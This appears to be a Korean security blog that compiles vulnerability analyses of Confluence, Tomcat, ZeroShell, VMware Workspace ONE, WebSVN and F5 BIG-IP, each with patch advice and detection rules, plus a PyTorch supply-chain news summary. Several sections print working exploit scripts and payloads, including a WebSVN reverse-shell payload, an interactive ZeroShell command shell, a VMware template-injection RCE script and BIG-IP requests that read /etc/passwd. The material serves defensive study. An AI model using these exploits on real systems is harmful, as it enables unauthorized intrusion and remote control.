1. Confluence 

- 아틀라시안(Atlassian)에서 개발한 자바 기반의 소프트웨어

- 팀원들이 효율적으로 지식을 공유하고 협업할 수 있는 도구

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-7415

- Atlassian Confluence에서 원격 공격자가 인증을 우회하여 자원에 접근 가능한 취약점

영향받는 버전
6.0.0 <= Atlassian Confluence < 6.0.7

 

2.1 원인

- Exploit 코드

- 공격자들은 diff REST 리소스를 악용함

※ [사진 1]에서 초안 diff REST 리소스의 사용으로 발생한 것으로, 초안은 Default를 의미하는 것으로 판단됨.

rest/tinymce/1/content/<Page ID>/draft/diff

 

- 취약한 버전의 diff REST 리소스를 확인해보면, 익명의 사용자가 해당 경로에 액세스 할 수 있음을 확인 가능함

- 해당 자원에 접근하는 사용자에대한 권한 검증이 존재하지 않음.

※ 경로 : confluence_editors_6.0.6_plus_6.0.7\confluence-editor-6.0.6_source_from_cfr\com\atlassian\confluence\tinymceplugin\rest\PageResource.java

[사진 2] 취약한 버전(6.0.6)의 diff REST

 

- 공격자들은 rest/tinymce/1/content/<Page ID>/draft/diff URL을 통해 인증없이 Confluence의 모든 블로그 및 페이지의 현재 콘텐츠에 접근 가능

[사진 3] Exploit 예시

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 최신 버전으로 업데이트 적용

- Confluence를 버전 6.1.0 이상으로 업그레이드 권장

 

② Confluence 6.1.0 버전으로 업데이트가 불가한 경우

- Confluence 6.0.X 실행 중이며, 최신 버전 업그레이드가 불가할 경우 6.0.7로 업그레이드

- permissionManager.hasPermission()를 통한 권한 검증 추가

- 사용자에게 권한이 없을 경우 NOT_FOUND(404 Error) 반환

※ 경로 : confluence_editors_6.0.6_plus_6.0.7\confluence-editor-6.0.7_source_from_cfr\com\atlassian\confluence\tinymceplugin\rest\PageResource.java

[사진 4] 6.0.7 diff REST

 

③ 기타 방안

- 공동 편집 기능 비활성화

[사진 5] 공동 편집 기능 비활성화 방법

3.2 네트워크 측면

① 탐지 정책 설정 및 적용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2017-7415

https://github.com/allyshka/exploits/blob/c1f5f0dfa2494001e7c3cffabfbf0219b0e35e08/confluence/CVE-2017-7415/README.md

https://jira.atlassian.com/browse/CONFSERVER-52222

https://packetstormsecurity.com/files/142330/Confluence-6.0.x-Information-Disclosure.html

https://confluence.atlassian.com/doc/confluence-security-advisory-2017-04-19-887071137.html

개요 - 정체를 알 수 없는 사이버 공격자가 파이토치(PyTorch)라는 머신러닝 프로젝트에 악성 바이너리를 몰래 삽입
- 악성 프로젝트를 PyPI에 등록 후 파이토치와 관련된 누군가가 12월 25 ~ 30일 사이에 이를 다운로드
내용 - 공격자들이 디펜던시 혼동 공격(dependency confusion attack)을 실시
디펜던시 혼동 공격
소프트웨어 개발 도구가 공개 및 비공개 저장소에서 서드파티 패키지를 끌어오는 기본 방식에서 새롭게 발견된 논리적 결함
> 비공개 저장소에 호스팅된 커스텀 패키지 대신에 커뮤니티 저장소에 게시된 악성 패키지를 끌어오도록 만드는 것

- 공격자들은 torchtriton이라는 이름의 악성 패키지를 만들어 PyPI에 등록
- torchtriton은 파이토치 프로젝트와 관련이 있는 코드 라이브러리
- 악성 패키지에는 torchtriton의 여러 기능이 똑같이 포함 + 훔친 데이터를 특정 도메인에 업로드하는 기능
- 피해자의 시스템 정보, 사용자 이름, 환경 변수, 피해자의 시스템과 연결된 모든 호스트, 비밀번호 해시 목록, 피해자의 홈 디렉토리에 저장된 파일 1천 개를 훔쳐가는 것으로 조사

- PyPI를 노리는 공격 시도는 크게 증가
> PyPI는 파이썬 생태계에서 중요한 위치에 있으며, 같은 이름의 패키지 등록이 가능함

- PyPI 리포지터리는 공공 리포지터리에 있는 패키지가 비공개 리포지터리에 있는 패키지보다 우선 검색 및 로딩
> torchtriton은 파이토치 프로젝트 개발자들이 프로젝트의 비공개 리포지터리에서부터 로딩
> 누군가 파이토치 내부 패키지 이름을 정확하게 알아냈다는 것을 의미
결론 - 파이토치 측은 문제를 발견하자마자 즉시 악성 패키지가 아니라 정상 패키지로 연결되도록 조치 및  torchtriton과 관련이 있는 모든 빌드들을 삭제

- 25일부터 30일 사이에 계속 파이토치로 작업을 했다면 침해의 증거가 직접적으로 존재하지 않더라도 새로운 SSH 키 값들을 생성해 활용하는 게 안전

- 12월 29일, 보안 전문가가 디펜던시 혼동 공격을 조사하며 실험하는 과정 중에 발생한 실수 게시글 업로드

 

- 보안뉴스

 

PyPI 통한 공급망 공격이 성공하여 파이토치에까지 멀웨어 심겨져

정체를 알 수 없는 사이버 공격자가 파이토치(PyTorch)라는 머신러닝 프로젝트에 악성 바이너리를 몰래 삽입하는 데 성공했다. 이들은 먼저 악성 프로젝트를 PyPI에 등록시켰는데 파이토치와 관련

www.boannews.com

1. Tomcat

- 아파치 소프트웨어 재단에서 개발한 웹 애플리케이션 서버

- 자바 환경을 제공하여 자바서버 페이지와 자바 서블릿이 실행할 수 있는 환경을 제공

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2014-0099

- Content-Length 헤더를 조작하여 정수 오버플로를 유발 및 서비스 거부를 유발시키는 취약점

① 영향받는 버전
- Apache Tomcat 6.0.40 이전 버전
- Apache Tomcat 7.0.53 이전 7.x 버전
- Apache Tomcat 8.0.4 이전 8.x 버전

 

2.1 분석

- 해당 취약점은 java/org/apache/tomcat/util/buf/Ascii.java 패키지에서 발생함

- org.apache.tomcat.util.buf 패키지는 인코딩과 디코딩을 처리하는 util 패키지
- Ascii.java는 이름대로 Ascii 처리와 관련된 함수를 제공

 

- Ascii.java에서 정수의 취급(isDigit 함수) 문제에 의해 발생한 것으로 판단됨.

[사진 2] java/org/apache/tomcat/util/buf/Ascii.java 中 발췌

 

- 공격자는 CVE-2015-1635에서 처럼 Conten-Legth 값을 BoF를 유발할 만큼의 큰 값으로 조작

[사진 3] CVE-2015-1635 공격 패킷

3. 대응방안

3.1 서버측면

① 취약점이 패치된 버전으로 업데이트 적용

- 취약점이 패치된 버전의 코드를 확인해보면, isDigit() 외에도 BoF 검증을 위한 코드가 추가된 것으로 판단됨.

[사진 4] 취약점 패치 전, 후 코드 비교

3.2 네트워크 측면

① 공격 탐지가 가능한 정책 설정 및 적용 

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"INDICATOR-COMPROMISE http POST request smuggling attempt"; flow:to_server,established; content:"POST /"; fast_pattern:only; http_header; content:" HTTP/"; http_header; metadata:service http; reference:cve,2014-0099; classtype:misc-attack; sid:31213; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"INDICATOR-COMPROMISE http GET request smuggling attempt"; flow:to_server,established; content:"GET /"; fast_pattern:only; http_header; content:" HTTP/"; http_header; metadata:service http; reference:cve,2014-0099; classtype:misc-attack; sid:31212; rev:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2014-0099
https://tomcat.apache.org/security-6.html
https://tomcat.apache.org/security-7.html
https://tomcat.apache.org/security-8.html
- http://svn.apache.org/viewvc?view=revision&revision=1578814
- http://svn.apache.org/viewvc?view=revision&revision=1578812
- http://svn.apache.org/viewvc?view=revision&revision=1580473
https://github.com/CRaC/tomcat/commit/8828a9902df1a98a0334511578a1dec9412a8234

1. Zeroshell

- 서버 및 임베디드 시스템용 네트워크 서비스 제공을 목표로 하는 소규모 오픈 소스 리눅스 배포판

- 아래 홈페이지에 따르면, 21.09.30 이후 EoS 됨.

 

Zeroshell Linux Router – Routing and Bridging Firewall Solutions

 

www.zeroshell.org

 

[사진 1] ZeroSehll 웹 페이지

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2019-12725

- 취약한 버전의 ZeroShell의 경우 HTTP 매개변수에대한 부적절한 필터링으로 인해 발생하는 원격 명령 실행 취약점

- 공격자는 취약한 매개변수를 이용해 OS 명령을 삽입 및 실행할 수 있음

영향받는 버전 : ZeroShell 3.9.0 이하

 

2.1 분석

- 아래 URL을 참고해 환경 구성을 하였으나 오류 발생 (ZeroShell-3.9.0-X86.iso 다운)

 

Download – Zeroshell Linux Router

 

www.zeroshell.org

 

ZeroShellの脆弱性を再現して試してみた(CVE-2019-12725, CVE-2020-29390) - Zuck3r’s Study

初めに 今回、何を書くかというとタイトルの通りZeroShellの脆弱性を再現したいと思っています。 思い立った理由としては、現在卒業研究の内容で扱っているからです。 本題 では、内容に入

zuck3r.hatenablog.com

 

- 해당 취약점은 kerbynet 페이지 내 x509type 매개변수의 입력값 검증 부족으로 인해 발생하며 공격 형태는 다음과 같음

① /cgi-bin/kerbynet? 하위 URL

② x509type 매개변수를 이용

③ 매개변수에 '(싱글 쿼터)를 시작으로하는 명령어를 전송

[사진 3] 공격 패킷

 

- 페이로드 예시

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509view&User=Admin&x509type='%0Auname -a%0A' 
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev /null /dev/null --checkpoint=1 --checkpoint-action=exec=id%0A'

 

- 취약점을 악용해 /etc/passwd 파일 내용이 노출

[사진 4] /etc/passwd 노출

2.2 PoC

- /cgi-bin/kerbynet? 하위 URL 및 x509type 매개변수를 통해 원격 명령을 삽입

# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution 
# Date: 10/05/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://zeroshell.org/
# Software Link: https://zeroshell.org/download/
# Version: < 3.9.0 
# Tested on: ZeroShell 3.9.0
# CVE : CVE-2019-12725

#!/usr/bin/python3

import requests
import optparse
import time

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')

options, args = parser.parse_args()
if not options.url:
    print('[+] Specify an url target')
    print('[+] Example usage: exploit.py -u http://target-uri/')
    print('[+] Example help usage: exploit.py -h')
    exit()

uri_zeroshell = options.url
session = requests.Session()

def command():
    try:
        check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'")
        if check.status_code == 200:
            flag = True
            print('[+] ZeroShell 3.9.0 Remote Command Execution')
            time.sleep(1)
            print('[+] Success connect to target')
            time.sleep(1)
            print('[+] Trying to execute command in ZeroShell OS...\n')
            time.sleep(1)
            check.raise_for_status()  

        while flag:
            cmd = raw_input("$ ")
            payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"
            uri_vuln = uri_zeroshell + payload
            burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
            res = session.get(uri_vuln, headers=burp0_headers, verify=False)
            print(res.text[:res.text.rindex("<html>") / 2])
                
    except requests.exceptions.ConnectionError as err:
        print('[x] Failed to Connect in: '+uri_zeroshell+' ')
        print('[x] This host seems to be Down')
        exit()
    except requests.exceptions.HTTPError as conn:
        print('[x] Failed to execute command in: '+uri_zeroshell+' ')
        print('[x] This host does not appear to be a ZeroShell')
        exit()

command()

 

3. 대응방안

3.1 서버측면

① 벤더사 홈페이지를 참고해 최신 버전으로 업데이트

※ 현재는 EoS 되었으므로 다른 제품 사용 권장

 

New release and critical vulnerability – Zeroshell Linux Router

The new Zeroshell 3.9.3 release is available and contains some bug fixes compared to the previous versions. It is especially urgent to upgrade to this release since earlier versions are affected by the vulnerabilities described inhttps://cve.mitre.org/cgi-

www.zeroshell.org

 

3.2 네트워크 측면

① 취약점을 악용한 시도를 탐지할 수 있는 정책을 보안장비에 적용

 

4. 참고

- https://nvd.nist.gov/vuln/detail/CVE-2019-12725

https://zuck3r.hatenablog.com/entry/2021/05/10/130610

https://www.zeroshell.org/download/

http://lists.emergingthreats.net/pipermail/emerging-sigs/2020-July/029981.html

- https://wins21.co.kr/kor/promotion/information.html?bmain=view&uid=2001&search=%26depth1%3D8%26page%3D16

https://www.exploit-db.com/exploits/49096

- https://rustlang.rs/posts/zeroshell_linux_router_rce/

- https://github.com/h3v0x/CVE-2019-12725-Command-Injection/blob/main/ZeroShell_RCE.py

- https://www.cybersecurity-help.cz/vulnerabilities/19316/

1. VMware 

- 클라우드 컴퓨팅 및 가상화 소프트웨어를 판매하는 기업

 

1.1 Workspace ONE

- 액세스 제어, 애플리케이션 관리 및 멀티 플랫폼 Endpoint 관리를 통합하여 기기에 관계없이 모든 애플리케이션을 제공하고 관리할 수 있는 디지털 워크스페이스 플랫폼

 

What is Workspace ONE? | Modern Anywhere Workforce Platform | VMware

VMware Workspace ONE is an intelligence-driven digital workspace platform that enables you to simply and securely deliver and manage any app on any device, anywhere.

www.vmware.com

 

1.2 Identity Manager

- Workspace ONE의 ID 및 액세스 관리 구성 요소

 

VMware Identity Manager Services 개요

VMware Identity Manager는 Workspace ONE의 ID 및 액세스 관리 구성 요소입니다. Workspace ONE UEM 및 VMware Horizon과 함께 VMware Identity Manager는 웹, 기본 및 가상 애플리케이션을 포함하는 범용 애플리케이션 카탈

docs.vmware.com

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2022-22954

- VMware Workspace ONE Access 및 Identity Manager에서 발생하는 원격 코드 실행 취약성 (CWSS 9.8)

- 네트워크 액세스 권한이 있는 위협 행위자가 RCE를 유발하는 서버 측 템플릿 주입을 트리거할 가능성 有

영향받는 버전
- VMware Workspace ONE Access 20.10.0.0 – 20.10.0.1, 21.08.0.0 – 21.08.0.1
- vIDM(VMware Identity Manager) 3.3.3 – 3.3.6

 

2.1 공격 흐름

① 공격자는 해당 취약점을 악용하여 초기 접근 권한을 얻음

② 취약한 서비스에서 스테이저를 실행하는 PowerShell 명령 실행

※ 스테이저(Stager) : C2 등 외부에서 쉘코드를 다운받아 메모리상에서 실행시켜주는 쉘코드

③ C2서버 접근

[사진 2] 전체 공격 흐름

2.2 분석

- 해당 취약점은 customError.ftl 템플릿에서 발생

- 안전하지 않은 freemarker 구문, 특히 신뢰할 수 없는 입력에 대한 eval 호출의 사용으로 인해 발생

[사진 3] templates/customError.ftl

2.3 PoC

- /catalog-portal/ui/oauth/verify?error=&deviceUdid= URL 요청

- deviceUdid 매개변수 값을 조작

"""
CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker Server-Side Template Injection
[+] Github:
https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC
[+] Usage:
python3 CVE-2022-22954.py example.com "cat /etc/passwd"
"""

import sys
import requests

usage = '[+] Usage: python3 {} example.com "cat /etc/passwd"\n'.format(sys.argv[0])

if ("-h" in sys.argv[1]) or (len(sys.argv) < 1):
	print("\n" + usage)
	exit()


def execute():
	try:
		# Check if user input includes "http://" or "https://"
		if "://" in sys.argv[1]:
			domain = sys.argv[1]
		else:
			domain = "https://" + sys.argv[1]

		# Build URL
		base_uri = "/catalog-portal/ui/oauth/verify?error=&deviceUdid="
		payload = "${{\"freemarker.template.utility.Execute\"?new()(\"{}\")}}".format(sys.argv[2])
		final_url = domain + base_uri + url_encode_all(payload)

		# Send payload
		r = requests.get(final_url)

		# Handle response output - get the desired data
		from_output = r.text.find(': workspace, device id:')
		to_output = r.text.find(', device type:')

		# Print output
		if from_output != -1:
			print("#PoC URL:", final_url, "\n")
			print("[+] Output:\n----------")
			output = r.text[from_output+24:to_output]
			for line in output.split('\\n'):
				print(line)
		else:
			print("[!] Target is not vulnerable.")
	except:
		print('[!] ERROR!\n{}'.format(usage))
		exit()


def url_encode_all(string):
	return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)


execute()

 

- 위 PoC를 통한 패킷을 확인해보면 아래와 같음.

[사진 4] 패킷 확인

3. 대응방안

3.1 서버측면

- 벤더사에서 발표한 보안 권고를 참고하여 최신 버전으로 업데이트

 

VMSA-2022-0011

VMware Workspace ONE Access, Identity Manager and vRealize Automation updates address multiple vulnerabilities.

www.vmware.com

 

3.2 네트워크 측면

- 공개된 PoC를 통해 탐지 정책(/catalog-portal/ui/oauth/verify?error=&deviceUdid=) 설정 및 적용

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"CVE-2022-22954 GET Observed"; \ flow:to_server, established; \ content:"GET"; http_method; \ content:"catalog|2d|portal|2f|ui|2f|oauth|2f|verify|3f|error|3d 26|deviceUdid|3d|"; http.uri; \ priority:2; \ metadata: Not tested for FP rate or accuracy; \ reference:url,https://www.rapid7.com/blog/post/2022/04/29/widespread-exploitation-of-vmware-workspace-one-access-cve-2022-22954/,CVE-2022-22954; \ sid:1000012; rev:1;) \

 

4. 참고

- https://srcincite.io/advisories/src-2022-0005/

- https://www.vmware.com/kr/products/workspace-one.html

- https://cloud.tencent.com/developer/article/2087159

- https://wins21.co.kr/kor/promotion/information.html?bmain=view&uid=3062&search=%26depth1%3D%26find_field%3Dtitle%26find_word%3DCVE-2022-22954%26page%3D1 

https://nvd.nist.gov/vuln/detail/cve-2022-22954

https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC

- https://www.boannews.com/media/view.asp?idx=106896 

- https://krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66633

- https://www.vmware.com/security/advisories/VMSA-2022-0011.html

https://kb.vmware.com/s/article/88099

https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis

https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/

https://packetstormsecurity.com/files/166935/VMware-Workspace-ONE-Access-Template-Injection-Command-Execution.html

1. CVE (Common Vulnerabilities and Exposures)

- 공개적으로 알려진 보안취약점에 대한 시간별로 정리한 목록(History)
- 표준화된 CVE 항목은 서비스 적용 범위를 평가할 수 있는 기준을 제공

- 표기 : CVE-연도-순서

 

CVE - CVE

The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.

cve.mitre.org

 

2. CWE (Common Weakness Enumeration)

- MITRE에서 일반적인 소프트웨어 보안약점(weakness)를 다양한 관점에서 분류한 목록.

-  악용 가능한 보안으로 이어질 수 있는 아키텍처, 디자인, 코드 또는 구현에서 발생할 수 있는 일반적인 소프트웨어 및 하드웨어 약점의 공식 목록 또는 사전

- 표기 : CWE-YYY

MITRE는 CVE®(Common Vulnerabilities and Exposures) 목록 을 출시한 1999년 초부터 소프트웨어 약점을 분류하는 문제에 대한 작업을 시작했습니다.
CVE 구축의 일환으로 MITRE의 CVE 팀은 일반적인 소프트웨어 약점을 정의하는 데 도움이 되도록 2005년부터 취약성, 공격, 결함 및 기타 개념의 예비 분류 및 분류를 개발했습니다.
그러나 CVE에는 충분하지만 코드 보안 평가 업계에서 제공하는 기능을 식별하고 분류하는 데 사용하기에는 이러한 그룹화가 너무 대략적이었습니다.
CWE 목록 은 2006년에 추가 요구 사항을 더 잘 해결하기 위해 만들어졌습니다
.
 

CWE - Common Weakness Enumeration

CWE™ is a community-developed list of software and hardware weakness types. It serves as a common language, a measuring stick for security tools, and as a baseline for weakness identification, mitigation, and prevention efforts. Viewing Customized CWE in

cwe.mitre.org

 

※ 취약점 (vulnerabilities) vs 보안약점 (weakness)

① 취약점 (vulnerabilities)

- 해커가 시스템이나 네트워크에 접근하기 위해 사용할 수 있는 소프트웨어의 실수(mistake)로 실제 발생 가능

- 운영 단계에서 발생

 

② 보안약점 (weakness)

- 기능 설계 및 구현 단계에서 발생할 수 있는 보안상의 오류

- 개발단계에서 발생 (이론상)

 

3. CVSS(Common Vulnerabilities Scoring System)

- 보안 취약점들을 평가하고 확인할 수 있도록 제공된 오픈 프레임워크

- 취약점의 가장 중요한 특성을 이해하고, 그것에 수치로 된 점수를 부여함으로써 심각성을 표기

 

Common Vulnerability Scoring System SIG

Common Vulnerability Scoring System SIG Mission The Common Vulnerability Scoring System (CVSS) provides a way to capture the principal characteristics of a vulnerability and produce a numerical score reflecting its severity. The numerical score can then be

www.first.org

'기타 > 기타' 카테고리의 다른 글

MITRE ATT&CK Framework  (0) 2023.01.17

1. Websvn

- 웹 기반 Subversion Repository 브라우저로 파일 또는 폴더의 로그를 보거나 파일의 변경 목록을 볼 수 있음

- 온라인 서브버전 저장소 브라우저
- 로컬 또는 원격 SVN저장소를 연결하여 웹 탐색기 제공
- 리비전별 폴더 탐색, 비교
- 파일 히스토리 간편 확인
- 작성언어: PHP

 

WebSVN - Online subversion repository browser

Why WebSVN? WebSVN offers a view onto your subversion repositories that's been designed to reflect the Subversion methodology. You can view the log of any file or directory and see a list of all the files changed, added or deleted in any given revision. Yo

websvnphp.github.io

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-32305

- WebSVN에서 search 매개변수에대한 입력값 검증이 없어 발생하는 원격 명령 실행 취약점

영향받는 버전 : WebSVN 2.6.1 이전 버전

 

2.1 분석

- 먼저, 사용자 입력값 중 search 매개변수를 읽어 showSearchResults() 호출

[사진 2] /search.php

 

- search 매개변수(사용자 입력값)는 showSearchResults()의 $searchstring 변수에 대응됨

- showSearchResults()는 다시 getListeSearch()를 호출

[사진 3] /search.php

 

- $searchstring(사용자 입력값)는 getListSearch()의 $searchstring 변수에 대응

- svnCommandString()에 의해 $cmd로 처리된 후 _xmlParseCmdOutput의 인자로 전달

[사진 4] /include/svnlook.php

 

- _xmlParseCmdOutput()에서 runCommand()의 인자로 $cmd 전달

[사진 5] /include/svnlook.php

 

- runCommand()에서 $cmd(사용자 입력값)는 proc_open()에 의해 최종적으로 실행되어 결과를 반환

[사진 6] /include/command.php

 

- proc_open()은 명령을 실행하는 함수로, command 인자는 실행할 명령줄을 가짐

[사진 7] https://www.php.net/manual/en/function.proc-open.php

 

- 위 과정을 요약하면 [사진 8]과 같음

[사진 8] 정리

2.3 PoC

- 아래 PoC는 search 매개변수에 공격자 PC에 리버스쉘을 생성하는 코드를 삽입하는 PoC

# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305

import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'

parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
    target = args.target
else:
    print("[!] Target should start with either http:// or https://")
    exit()

requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))

print("[*] Request send. Did you get what you wanted?")

 

3. 대응방안

3.1 서버측면

① 패치 버전 적용

- escapeshellarg()를 통해 $searchstring(search 매개변수_사용자 입력값)에 대한 검증을 수행

[사진 9] 패치 코드

 

3.2 네트워크 측면

① /search.php?search이 포함된 URL에 대해 탐지할 수 있는 정책을 설정 및 적용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-32305
https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/
https://github.com/websvnphp/websvn/pull/142
https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
https://gryffinbit.top/2022/10/31/%E5%A4%8D%E7%8E%B0websvn-2-6-0-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E-cve-2021-32305/
https://zetawiki.com/wiki/WebSVN
https://www.php.net/manual/en/function.proc-open.php
https://github.com/websvnphp/websvn/releases/tag/2.6.0

1. F5 BIG-IP

- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품

 

1.1 TMUI

- Traffic Management User Interface

- 웹 기반 트래픽 관리 사용자 인터페이스

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/cve-2020-5902

- BIG-IP의 Traffic Management User Interface(TMUI)에서 접근통제가 미흡하여 발생하는 원격코드실행 취약점

- ..; 문자열을 이용해 상위 디렉토리로 이동 후 인증 없이 중요 파일 또는 디렉터리 접근이 가능

- 취약점을 악용한 공격자는 대상 시스템에 다음과 같은 행위를 할 수 있음

① 인증없이 원격 코드 실행 (RCE)

② 파일 생성 및 삭제

③ 서비스 비활성화

④ 정보 탈취

임의의 시스템 명령과 Java 코드를 실행

⑥ 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색

영향받는 버전 : BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1

 

2.1 실습

- 아래 사이트에서 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드

 

BIG-IP Virtual Edition

Get F5 application services in any environment. On-premises, in the cloud, or a mix of both, F5 BIG-IP Virtual Edition (VE) delivers app services in ways that let you move faster than hardware allows. BIG-IQ simplifies holistically managing BIG-IP devices

www.f5.com

 

- 설정 후 BIG-IP 서버 접근 시 TMUI의 로그인 페이지 확인

※ 가상머신(.ova) 설치 후 설정없이 ifconfig 명령으로 확인되는 IP에 접속

※ 최초 설치 시 ID/PW는 root/default

[사진 2] 최초 접근 화면

 

- 버프슈트를 통한 Exploit 수행

① fileRead.jsp의 fileName 매개변수를 이용해 /etc/passwd 파일 접근 및 파일 내용 노출

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1

 

[사진 3] /etc/passwd 파일 노출

 

② directoryList.jsp의 directoryPath 매개변수를 이용해 디렉토리 리스트 조회

GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1

 

[사진 4] /usr/local/www 디렉토리 리스트 조회

 

③ 원격 명령 실행

- F5 BIG-IP는 TMSH라고 하는 CLI 환경을 제공

 

Commands

 

clouddocs.f5.com

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1

 

[사진 5] 원격 명령 실행

 

- 위 예시 외에도 다양한 명령을 통해 Exploit을 진행할 수 있음

 

BIGIP CVE-2020-5902 Exploit POC

BIGIP CVE-2020-5902 Exploit POC . GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

 

2.2 PoC

- 아래 URL 외에 공개된 PoC를 확인해보면 /tmui/login.jsp/..;/ URL이 공통적으로 확인됨

https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

[사진 6] 취약점이 패치된 버전

 

② 허용된 IP만이 관리 인터페이스에 접근할 수 있도록 설정

- 화이트리스트 방식

 

③ 계정 정보 변경

 

④ F5에서는 httpd 설정에 아래 설정을 권고

- 요청 URL에서 ; 또는 hsqldb가 매칭되는 경우 404 에러 페이지로 리다이렉션

include 'FileETag MTime Size
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'

 

3.2 네트워크 측면

① 공개된 PoC를 통해 URL에 /tmui/login.jsp/..;/이 포함된 경우 탐지할 수 있는 정책을 설정 및 적용

- 모니터링을 통해 비인가 혹은 공격 의심 IP 차단 적용

alert tcp any any -> any any (msg:"BIG IP_RCE_CVE-2020-5902";flow:established,to_server;uricontent:"/tmui/login.jsp/..|3b|/tmui/"; nocase; )

 

4. 참고

https://nvd.nist.gov/vuln/detail/cve-2020-5902
https://gist.github.com/cihanmehmet/07d2f9dac55f278839b054b8eb7d4cc5
https://research.kudelskisecurity.com/2020/07/06/security-advisory-f5-big-ip-critical-severity-rce-vulnerability-cve-2020-5902/
https://support.f5.com/csp/article/K52145254
https://clouddocs.f5.com/cli/tmsh-reference/latest/commands/
https://blog.cloudflare.com/cve-2020-5902-helping-to-protect-against-the-f5-tmui-rce-vulnerability/

+ Recent posts